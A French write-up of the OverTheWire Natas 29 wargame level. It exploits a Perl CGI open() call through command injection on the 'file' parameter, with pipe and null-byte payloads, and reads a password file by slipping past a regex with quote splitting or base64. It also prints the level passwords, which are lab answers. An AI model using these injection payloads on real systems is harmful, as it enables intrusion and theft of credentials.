Natas 29
Level Goal
Username: natas29
Password: airooCaiseiyee8he8xongien9euhe8b
URL: http://natas29.natas.labs.overthewire.org
En se connectant à la page du challenge 29 (curl http://natas29.natas.labs.overthewire.org -u natas29:airooCaiseiyee8he8xongien9euhe8b
) on arrive sur un formulaire permettant de visionner le contenu de plusieurs fichiers :
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>
<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
<option value="">s3lEcT suMp1n!</option>
<option value="perl underground">perl underground</option>
<option value="perl underground 2">perl underground 2</option>
<option value="perl underground 3">perl underground 3</option>
<option value="perl underground 4">perl underground 4</option>
<option value="perl underground 5">perl underground 5</option>
</select>
</form>
<div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
Lorsque l'on sélectionne un valeur dans le champ select, on est redirigé vers une page incluant le fichier avec une url du type :
http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground+2
Si l'on essaye d'utiliser un pipe |
avec une commande shell derrière et le tout se terminant par %00
(null character) :
http://natas29.natas.labs.overthewire.org/index.pl?file=| ls -la %00
On obtient la liste de fichier suivant :
total 828
drwxr-x--- 2 natas29 natas29 4096 Nov 5 2017 .
drwxr-xr-x 41 root root 4096 Dec 22 2020 ..
-rw-r----- 1 natas29 natas29 119 Dec 20 2016 .htaccess
-rw-r----- 1 natas29 natas29 86 Oct 20 2018 .htpasswd
-rwxr-x--- 1 natas29 natas29 850 Dec 15 2016 index.html.tmpl
-rwxr-x--- 1 natas29 natas29 2286 Nov 5 2017 index.pl
-rwxr-x--- 1 natas29 natas29 2264 Dec 15 2016 index.pl.tmpl
-rwxr-x--- 1 natas29 natas29 172923 Dec 15 2016 perl underground 2.txt
-rwxr-x--- 1 natas29 natas29 180749 Dec 15 2016 perl underground 3.txt
-rwxr-x--- 1 natas29 natas29 170534 Dec 15 2016 perl underground 4.txt
-rwxr-x--- 1 natas29 natas29 171845 Dec 15 2016 perl underground 5.txt
-rwxr-x--- 1 natas29 natas29 114600 Dec 15 2016 perl underground.txt
Si l'on envoie la commande | cat index.pl %00
, on obtient le code source de la page :
#!/usr/bin/perl
use CGI qw(:standard);
# print HTML [...]
#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord({% CONTENT %}amp;)-1/eg'
#
# credits for the previous level go to whoever
# created insomnihack2016/fridginator, where i stole the idea from.
# that was a fun challenge, Thanks!
#
# print HTML [...]
if(param('file')){
$f=param('file');
if($f=~/natas/){
print "meeeeeep!<br>";
}
else{
open(FD, "$f.txt");
print "<pre>";
while (<FD>){
print CGI::escapeHTML($_);
}
print "</pre>";
}
}
# print HTML [...]
En lisant le code source on peut voir que la ligne $f=~/natas/
applique une regex sur le paramètre file
pour vérifier que le mot natas
n'est pas présent dans celle-ci. Cela veut dire que si l'on entrait la commande | cat /etc/natas_webpass/natas30 %00
on recevrait un message d'erreur (meeeeeep!
)
Plusieurs solution s'offre à nous ici :
- utiliser des guillemets (
%22
) pour empêcher le mot natas d'être détecté par la regex (ex :na""tas
sera converti ennatas
par la suite) - encode puis décoder le nom du fichier (ex :
cat $(echo 'L2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMzA==' | base64 --decode)
) - etc
Dans tous les cas le mot de passe du prochain niveau est : wie9iexae0Daihohv8vuu3cei9wahf0e
.